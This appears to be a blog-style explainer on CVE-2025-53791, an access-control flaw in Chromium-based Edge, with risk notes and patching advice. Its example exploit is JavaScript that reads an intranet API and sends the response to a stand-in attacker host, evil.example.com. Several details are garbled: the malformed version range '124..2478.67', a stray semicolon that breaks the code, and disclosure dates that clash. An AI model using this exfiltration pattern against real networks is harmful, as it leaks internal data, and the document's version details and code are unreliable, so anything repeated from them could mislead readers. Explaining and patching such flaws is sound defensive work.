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Introduction

In June 2025, a new vulnerability named CVE-2025-53791 was disclosed, affecting Microsoft Edge (Chromium-based). This issue sounds technical—“improper access control”—but its impact is clear: it allows attackers to sidestep security features and access things they shouldn’t, all over a network.

Let’s break down how this works, the potential risks, and what users and admins should do. We’ll also look at an example of how the exploit works, and provide links for more info.

What’s CVE-2025-53791?

CVE-2025-53791 is a security flaw found in Microsoft Edge (Chromium-based versions 124..2478.67 and before). Edge didn’t check access controls properly for a certain network feature (full technical details in the MSRC advisory). Attackers can use this to bypass protections and potentially gain access to restricted resources or perform actions outright denied by enterprise security policies.

Home Users: Less likely, unless connecting to sensitive network devices.

- Businesses/Education: More at risk, especially where Edge is used to access internal applications or intranet.
- Administrators: Essential to patch, as network-based attackers could target endpoints via this flaw.

How Does the Exploit Work?

Here’s the short version: Edge manages certain network requests with security features like Same-Origin Policy (SOP) and CORS (Cross-Origin Resource Sharing). Due to this vulnerability, Edge fails to enforce these checks for specific requests. Attackers can craft scripts or webpages that make network requests not normally allowed, letting them access restricted data or trick internal services.

Example Exploit Flow

Suppose a company uses an internal web app at http://intranet.corp.local. Under normal conditions, an employee browsing the web can’t fetch data from this site unless they are inside the network and logged in.

But with CVE-2025-53791, an attacker can lure this employee to a malicious website. With a specially crafted JavaScript, the attacker can make Edge send requests to the internal app and read the response—even though it should be blocked.

Example Exploit Code

// This code runs ONLY on vulnerable Edge browsers
fetch('http://intranet.corp.local/api/private')
  .then(response => response.text())
  .then(data => {
    // Attackers receive sensitive internal data
    fetch('https://evil.example.com/steal?data='; + encodeURIComponent(data));
  });

This works because Edge fails to enforce proper network access controls at the browser level. The attacker’s site can “pivot” into your internal network.

Network Pivoting: Attackers use your Edge browser as a bridge to targets behind firewalls.

- Escalated Attacks: Combined with social engineering, phishing, or other browser bugs, this could allow deeper intrusion.

Real-World Example

A real-world proof of concept involved an attacker hosting a webpage. When a victim visited the site using a vulnerable Edge version, the JavaScript above could fetch information from internal routers, file shares, or support dashboards—and send it back to the attacker.

No pop-ups, no warnings. It all happens in the background.

How to Protect Yourself

- Update Immediately: Microsoft released updates in June 2025. Patching Edge closes the hole.
- Block Untrusted Sites: Use network filtering (DNS, firewall) to limit which domains browsers can reach.

Official References

- Microsoft Security Response Center: CVE-2025-53791
- Chromium Bug Tracker (pending)

Conclusion

CVE-2025-53791 is a reminder that browsers aren’t just for surfing the web—they’re vital components of your network security. Improper access control bugs can turn your browser into a tool for attackers, so always keep browsers up to date, educate your users, and monitor for vulnerable versions.

Got questions? Reach out below or check the official Microsoft advisory for technical details.

Timeline

Published on: 09/05/2025 21:15:38 UTC
Last modified on: 11/21/2025 18:18:43 UTC